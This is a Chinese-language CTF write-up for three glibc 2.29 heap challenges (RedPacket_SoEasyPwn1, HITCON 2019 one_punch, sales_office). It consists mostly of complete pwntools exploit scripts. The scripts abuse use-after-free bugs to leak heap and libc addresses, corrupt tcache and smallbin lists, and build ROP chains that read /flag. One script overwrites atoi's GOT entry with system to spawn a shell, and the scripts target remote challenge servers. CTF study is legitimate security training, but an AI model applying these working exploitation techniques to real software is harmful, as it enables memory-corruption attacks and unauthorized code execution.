没有开canary,莫非有栈溢出?
同样把execve禁用了
删除的时候有指针悬挂
添加的时候限制了只能添加0x10,0xf0,0x300,0x400大小的
并且使用calloc分配,这意味着add时不会从tcache中取chunk
添加次数为0x1c(28),编辑次数为1
程序存在后门,刚好可以覆盖返回地址
利用思路如下
qword_4058 + 0x800-0x10
qword_4058 + 0x800-0x10
就会写上一个大数Exp:
from pwn import *
r = remote("node3.buuoj.cn", 28846)
#r = process("./RedPacket_SoEasyPwn1/RedPacket_SoEasyPwn1")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
where
''')
elf = ELF("./RedPacket_SoEasyPwn1/RedPacket_SoEasyPwn1")
libc = ELF('./libc/libc-2.29.so')
one_gadget_19 = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]
menu = "Your input: "
def add(index, choice, content):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Please input the red packet idx: ")
r.sendline(str(index))
r.recvuntil("How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ")
r.sendline(str(choice))
r.recvuntil("Please input content: ")
r.send(content)
def delete(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Please input the red packet idx: ")
r.sendline(str(index))
def edit(index, content):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Please input the red packet idx: ")
r.sendline(str(index))
r.recvuntil("Please input content: ")
r.send(content)
def show(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Please input the red packet idx: ")
r.sendline(str(index))
# fill full tcache size 0x410
for i in range(7):
add(0,4,'Chunk0')
delete(0)
# fill 6 in tcache size 0x100
for i in range(6):
add(1,2,'Chunk1')
delete(1)
show(0)
last_chunk_addr = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_addr = last_chunk_addr - 0x26C0
success("heap_base:"+hex(heap_addr))
add(2,4,'Chunk2')
add(3,3,'Chunk3')
delete(2)
show(2)
malloc_hook = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x60 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
success("libc:"+hex(libc.address))
add(3,3,'Chunk3')
add(3,3,'Chunk3') #get smallbin1
add(4,4,'Chunk4')
add(5,4,'Chunk5')
delete(4)
add(5,3,'Chunk5')
add(5,3,'Chunk5') # get smallbin2
payload='\x00'*0x300+p64(0)+p64(0x101)+p64(heap_addr+0x37E0)+p64(heap_addr+0x250+0x10+0x800-0x10)
edit(4,payload)
add(3,2,'Chunk_3') # get smallbin
pop_rdi_ret = libc.address + 0x0000000000026542
pop_rsi_ret = libc.address + 0x0000000000026f9e
pop_rdx_ret = libc.address + 0x000000000012bda6
file_name_addr = heap_addr + 0x0000000000004A40
flag_addr = file_name_addr + 0x0000000000000200
ROP_chain = '/flag\x00\x00\x00'
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(file_name_addr)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(0)
ROP_chain += p64(libc.symbols['open'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(3)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc.symbols['read'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(1)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc.symbols['write'])
add(4,4,ROP_chain)
leave_ret = libc.address + 0x0000000000058373
r.recvuntil('Your input: ')
r.sendline('666')
r.recvuntil('What do you want to say?')
r.sendline('A'*0x80 + p64(file_name_addr) + p64(leave_ret))
r.interactive()
free指针悬挂
编号最高为2
大小限制在0x7f-0x410,并且使用calloc分配,长度根据输入计算,同时,因为strncpy所以我们的payload如果有\x00会被截断
同时禁用了execve
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 28996)
#r = process("./hitcon_ctf_2019_one_punch")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
where
''')
elf = ELF("./hitcon_ctf_2019_one_punch")
libc = ELF('./libc/libc-2.29.so')
one_gadget_19 = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]
menu = "> "
def add(index, content):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("idx: ")
r.sendline(str(index))
r.recvuntil("hero name: ")
r.send(content)
def delete(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("idx: ")
r.sendline(str(index))
def edit(index, content):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("idx: ")
r.sendline(str(index))
r.recvuntil("hero name: ")
r.send(content)
def show(index):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("idx: ")
r.sendline(str(index))
def back_door(content):
r.recvuntil(menu)
r.sendline('50056\x00\x00')
sleep(1)
r.send(content)
# fill full tcache size 0x410
for i in range(7):
add(0, 'a'*0x400)
delete(0)
# fill 6 in tcache size 0x100
for i in range(6):
add(1,'b'*0xf0)
delete(1)
show(0)
r.recvuntil("hero name: ")
last_chunk_addr = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_addr = last_chunk_addr - 0x16B0
success("heap_base:"+hex(heap_addr))
add(0, 'a'*0x400)
add(1, 'b'*0x300)
delete(0)
show(0)
r.recvuntil("hero name: ")
malloc_hook = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x60 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
syscall = libc.address + 0x000000000010D022
add_rsp = libc.address + 0x000000000008cfd6
leave = libc.address + 0x0000000000058373
pop_rdi_ret = libc.address + 0x0000000000026542
pop_rsi_ret = libc.address + 0x0000000000026f9e
pop_rdx_ret = libc.address + 0x000000000012bda6
pop_rax_ret = libc.address + 0x0000000000047cf8
success("libc:"+hex(libc.address))
add(1, 'b'*0x300)
add(1, 'b'*0x300)#smallbin1
add(0, 'a'*0x400)
add(1, 'b'*0x300)
delete(0)
add(1, 'b'*0x300)
add(1, 'b'*0x300)#smallbin2
payload = '\x00'*0x300+p64(0)+p64(0x101)+p64(heap_addr+0x27D0)+p64(heap_addr+0x30-5-0x10)
edit(0, payload)
add(1, '/flag'+'\x00'*0x100)
for i in range(7):
add(1, 'b'*0x217)
delete(1)
edit(1, p64(malloc_hook))
add(1, 'b'*0xf0)
back_door(p64(malloc_hook))
back_door(p64(add_rsp))
file_name_addr = heap_addr + 0x3930
flag_addr = heap_addr + 0x3940
ROP_chain = p64(pop_rdi_ret)
ROP_chain += p64(file_name_addr)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(0)
ROP_chain += p64(pop_rax_ret)
ROP_chain += p64(2)
ROP_chain += p64(syscall)
#ROP_chain += p64(libc.symbols['open'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(3)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc.symbols['read'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(1)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc.symbols['write'])
add(1, ROP_chain)
r.interactive()
这题的环境在libc2.29下,因为libc2.29增加了对free的检查,所以之前sales_office中使用多次free的办法在这里就行不通了
漏洞还是和之前一样,指针悬挂造成UAF
利用思路:
这题单纯利用UAF就可以get shell,利用犯法并不像前两题一样是libc-2.29新出的
add(0x60, 'a'*0x10+p64(0)+p64(0x51))#0
add(0x60, 'b\n')#1
add(0x60, 'c\n')#2
delete(2)
delete(1)
delete(0)
show(0)
add(0x10, p64(atoi_got)+p64(8))#3
show(1)
EXP:
from pwn import *
menu = "choice:"
def add(size, content):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Please input the size of your house:\n")
r.sendline(str(size))
r.recvuntil("please decorate your house:\n")
r.send(content)
def delete(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("index:")
r.sendline(str(index))
def show(index):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("index:")
r.sendline(str(index))
#r = remote("183.129.189.60", 10008)
r = process('./sales_office2/sales_office')
elf = ELF('./sales_office2/sales_office')
#libc = ELF('./sales_office2/libc.so.6')
libc = ELF("./libc/libc-2.29.so")
context.log_level = 'debug'
bss_control = 0x6020A0
read_got = elf.got['read']
atoi_got = elf.got['atoi']
one_gadget_19 = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]
DEBUG = 1
if DEBUG:
gdb.attach(r,
'''
b *0x400B53
c
''')
add(0x60, 'a'*0x10+p64(0)+p64(0x51))#0
add(0x60, 'b\n')#1
add(0x60, 'c\n')#2
delete(2)
delete(1)
delete(0)
show(0)
r.recvuntil("house:\n")
heap_addr = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x380
success("heap:"+hex(heap_addr))
fake_chunk = heap_addr + 0x290
add(0x10, p64(atoi_got)+p64(8))#3
show(1)
r.recvuntil("house:\n")
atoi_addr = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
libc.address = atoi_addr - libc.symbols['atoi']
system = libc.symbols['system']
bin_sh = libc.search("/bin/sh").next()
success("libc_base:"+hex(libc.address))
success("atoi:" + hex(atoi_addr))
success("system:" + hex(system))
success("bin_sh" + hex(bin_sh))
add(0x50, 'chunk4')#4
add(0x50, 'chunk4')#5
delete(5)
delete(4)
add(0x10, p64(fake_chunk+0x10)+p64(0x40))#6
delete(5)
add(0x60, 'a'*0x10+p64(0)+p64(0x51)+p64(atoi_got))#7
add(0x40, p64(atoi_got))#8
add(0x40, p64(system))#9
r.recvuntil(menu)
r.sendline('/bin/sh')
r.interactive()